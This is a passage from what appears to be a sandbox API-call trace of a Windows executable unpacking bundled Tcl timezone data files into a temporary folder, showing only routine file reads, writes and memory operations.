SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.497] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.497] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.497] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.497] CloseHandle (hObject=0x10c) returned 1 [0038.497] GetLastError () returned 0x0 [0038.498] SetLastError (dwErrCode=0x0) [0038.498] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Tucuman") returned 82 [0038.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Tucuman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\tucuman"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.498] GetLastError () returned 0x2 [0038.498] SetLastError (dwErrCode=0x2) [0038.498] GetLastError () returned 0x2 [0038.498] SetLastError (dwErrCode=0x2) [0038.498] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Tucuman", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Tucuman", lpFilePart=0x0) returned 0x51 [0038.498] GetLastError () returned 0x2 [0038.498] SetLastError (dwErrCode=0x2) [0038.498] GetLastError () returned 0x2 [0038.498] SetLastError (dwErrCode=0x2) [0038.498] GetLastError () returned 0x2 [0038.498] SetLastError (dwErrCode=0x2) [0038.498] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Tucuman") returned 82 [0038.498] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Tucuman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\tucuman"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.499] GetFileType (hFile=0x10c) returned 0x1 [0038.499] htonl (hostlong=0x13080000) returned 0x813 [0038.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.499] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x813, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x813, lpOverlapped=0x0) returned 1 [0038.501] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.501] CloseHandle (hObject=0x10c) returned 1 [0038.502] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.502] htonl (hostlong=0x40000000) returned 0x40 [0038.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.502] GetFileType (hFile=0x10c) returned 0x1 [0038.502] htonl (hostlong=0x60975800) returned 0x589760 [0038.502] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d4760, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.502] htonl (hostlong=0x6020000) returned 0x206 [0038.502] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x206) returned 0x550600 [0038.502] htonl (hostlong=0x6020000) returned 0x206 [0038.502] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.502] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.503] htonl (hostlong=0xf4070000) returned 0x7f4 [0038.503] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f4) returned 0x55e278 [0038.503] htonl (hostlong=0x6020000) returned 0x206 [0038.503] htonl (hostlong=0xf4070000) returned 0x7f4 [0038.503] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.503] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.503] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.503] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.503] CloseHandle (hObject=0x10c) returned 1 [0038.503] GetLastError () returned 0x0 [0038.503] SetLastError (dwErrCode=0x0) [0038.503] GetLastError () returned 0x0 [0038.503] SetLastError (dwErrCode=0x0) [0038.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.503] GetFileType (hFile=0x10c) returned 0x1 [0038.503] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.503] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.503] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.503] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.503] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.503] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.503] CloseHandle (hObject=0x10c) returned 1 [0038.504] GetLastError () returned 0x0 [0038.504] SetLastError (dwErrCode=0x0) [0038.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.504] GetFileType (hFile=0x10c) returned 0x1 [0038.504] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.504] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.504] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.504] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.504] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.504] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.504] CloseHandle (hObject=0x10c) returned 1 [0038.504] GetLastError () returned 0x0 [0038.504] SetLastError (dwErrCode=0x0) [0038.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.504] GetFileType (hFile=0x10c) returned 0x1 [0038.504] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.504] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.504] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.505] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.505] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.505] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.505] CloseHandle (hObject=0x10c) returned 1 [0038.505] GetLastError () returned 0x0 [0038.505] SetLastError (dwErrCode=0x0) [0038.505] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.505] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.505] GetFileType (hFile=0x10c) returned 0x1 [0038.505] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.505] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.505] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.505] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.505] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.505] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.505] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.505] CloseHandle (hObject=0x10c) returned 1 [0038.505] GetLastError () returned 0x0 [0038.505] SetLastError (dwErrCode=0x0) [0038.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Ushuaia") returned 82 [0038.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Ushuaia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\ushuaia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.506] GetLastError () returned 0x2 [0038.506] SetLastError (dwErrCode=0x2) [0038.506] GetLastError () returned 0x2 [0038.506] SetLastError (dwErrCode=0x2) [0038.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Ushuaia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Ushuaia", lpFilePart=0x0) returned 0x51 [0038.506] GetLastError () returned 0x2 [0038.506] SetLastError (dwErrCode=0x2) [0038.506] GetLastError () returned 0x2 [0038.506] SetLastError (dwErrCode=0x2) [0038.506] GetLastError () returned 0x2 [0038.506] SetLastError (dwErrCode=0x2) [0038.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Ushuaia") returned 82 [0038.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Ushuaia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\ushuaia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.506] GetFileType (hFile=0x10c) returned 0x1 [0038.506] htonl (hostlong=0xf4070000) returned 0x7f4 [0038.506] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.506] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7f4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7f4, lpOverlapped=0x0) returned 1 [0038.507] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.507] CloseHandle (hObject=0x10c) returned 1 [0038.508] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.508] htonl (hostlong=0x40000000) returned 0x40 [0038.508] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.508] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.508] GetFileType (hFile=0x10c) returned 0x1 [0038.508] htonl (hostlong=0x66995800) returned 0x589966 [0038.508] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d4966, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.508] htonl (hostlong=0x98000000) returned 0x98 [0038.508] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0038.508] htonl (hostlong=0x98000000) returned 0x98 [0038.508] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.509] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.509] htonl (hostlong=0xb1000000) returned 0xb1 [0038.509] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb1) returned 0x550600 [0038.509] htonl (hostlong=0x98000000) returned 0x98 [0038.509] htonl (hostlong=0xb1000000) returned 0xb1 [0038.509] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.509] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.509] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.509] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.509] CloseHandle (hObject=0x10c) returned 1 [0038.510] GetLastError () returned 0x0 [0038.510] SetLastError (dwErrCode=0x0) [0038.510] GetLastError () returned 0x0 [0038.510] SetLastError (dwErrCode=0x0) [0038.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.510] GetFileType (hFile=0x10c) returned 0x1 [0038.510] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.510] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.510] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.510] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.510] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.510] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.510] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.510] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.510] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.510] CloseHandle (hObject=0x10c) returned 1 [0038.510] GetLastError () returned 0x0 [0038.510] SetLastError (dwErrCode=0x0) [0038.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.510] GetFileType (hFile=0x10c) returned 0x1 [0038.510] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.510] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.511] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.511] CloseHandle (hObject=0x10c) returned 1 [0038.511] GetLastError () returned 0x0 [0038.511] SetLastError (dwErrCode=0x0) [0038.511] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 